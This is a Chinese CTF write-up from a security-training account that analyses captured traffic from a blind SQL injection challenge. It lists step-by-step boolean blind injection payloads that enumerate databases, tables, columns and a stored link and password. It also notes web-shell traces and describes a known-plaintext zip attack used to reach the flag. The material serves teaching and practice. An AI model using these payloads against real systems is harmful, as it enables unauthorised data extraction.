大数跨境
0
0

赛题分析6:注入真的好难!!!

赛题分析6:注入真的好难!!! 360安全人才能力发展中心
2019-10-29
2
导读:3CTF赛题分析题目类型:Web

赛题分析6: 

注入真的好难!!!


题目类型:Web
解题思路:
过滤HTTP请求


可以看到进行了sql盲注,采用二分法对数据库进行注入,获取数据。
判断数据库的个数,可以看见当数据返回长度为1003时结束,由此可以对下面操作进行判断,返回最小的长度为1003的输出结果。
 

经过分析:
1、 获取数据库个数
/sql/Less-8/?id=1' and ((select count(schema_name) from information_schema.schemata) > {0})%23"
 共有7个数据库
2、 获取数据库长度
/sql/Less-8/?id=1' and ((select length(schema_name) from information_schema.schemata limit 0,1) > {0})%23"
第一个数据库长度18
/sql/Less-8/?id=1' and ((select length(schema_name) from information_schema.schemata limit 1,1) > {0})%23"
第二个数据库长度6
3、 获取数据库名
/sql/Less-8/?id=1' and ascii(substr((select concat(SCHEMA_NAME) from information_schema.SCHEMATA limit 0,1),{0},1))>{1} %23"
第一个数据库长度18,依次类推获得数据库ASCII,转化为information_schema
/sql/Less-8/?id=1' and ascii(substr((select concat(SCHEMA_NAME) from information_schema.SCHEMATA limit 1,1),{0},1))>{1} %23"
第二个数据库长度6,依次类推获得数据库ASCII,转化为360ctf
4、 表个数
/sql/Less-8/?id=1' and (select count(distinct+table_name) from information_schema.tables where table_schema='360ctf') >{0} %23"
共有1个表
5、 获取表长度
/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema='360ctf' limit 0,1) >{0} %23"
表长度为4
6、 获取表名
/sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='360ctf' limit 0,1),{0},1))>{1} %23"
表长度为4,依次类推获得数据库ASCII,转化为flag
7、 获取字段个数
/sql/Less-8/?id=1' and (select count(distinct+column_name) from information_schema.columns where table_schema='360ctf' and table_name='flag' ) >{0} %23"
获取字段数为2
8、获取字段长度
/Less-8/?id=1' and (select length(column_name) from information_schema.columns where table_schema='360ctf' and table_name='flag' limit 0,1) >{0} %23"
第一个字段长为3,第二个字段长为6
8、 获取字段名
/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),{0},1))>{1} %23"
第一个字段ASCII,转化为url,第二个字段ASCII,转化为passwd
9、 获取行数
/Less-8/?id=1' and ((select count(*) from 360ctf.flag ) > {0})%23"
行数为1行
10、获取内容长度
/sql/Less-8/?id=1' and ((select length(url) from 360ctf.flag limit 0,1) > {0})%23"
第一个长度为13,第二个长度为5
11、获取内容
/sql/Less-8/?id=1' and ascii(substr((select url from 360ctf.flag limit 0,1),{0},1))>{1} %23"
url为:t.cn/Ai8PhqSb
passwd为:bkis


访问百度云盘得到一个加密的压缩包,追踪流还发现菜刀连接的痕迹,发现存在readme.7z文件。


通过导出HTTP请求可以发现所有的sql请求以及下载的readme.7z压缩包。
 



保存readme.7z文件到本地,发现flag.zip里面也存在readme.txt,执行明文攻击。


使用7z对readme.txt进行压缩,是的CRC32校验值和flag.zip里面的一样。
 


使用ARCHPR进行明文攻击
 

明文没有破解出来,但是可以使用加密秘钥进行解密操作。


保存为flag_decrypted.zip,成功解密得到flag.txt



flag{1d0ea6a36f6aaf7fa5d4b007454227d6}




360网络安全大学

如果你想展示你的CTF能力,我们提供给你机会,平台近期开始向社会征集CTF题目,题目类型不限制,奖励丰厚,有想法的大佬可以联系

university@360.cn。


【声明】内容源于网络
0
0
360安全人才能力发展中心
360政企安全集团旗下面向教育服务领域的唯一官方机构,致力于通过对人才能力的研究、教育平台的打造、教学内容的开发、教育服务生态的建设,为各机构和组织提供网络安全组织能力咨询、人才能力培养、专业能力认证、人才能力评估等服务。
内容 395
粉丝 0
360安全人才能力发展中心 360政企安全集团旗下面向教育服务领域的唯一官方机构,致力于通过对人才能力的研究、教育平台的打造、教学内容的开发、教育服务生态的建设,为各机构和组织提供网络安全组织能力咨询、人才能力培养、专业能力认证、人才能力评估等服务。
总阅读779
粉丝0
内容395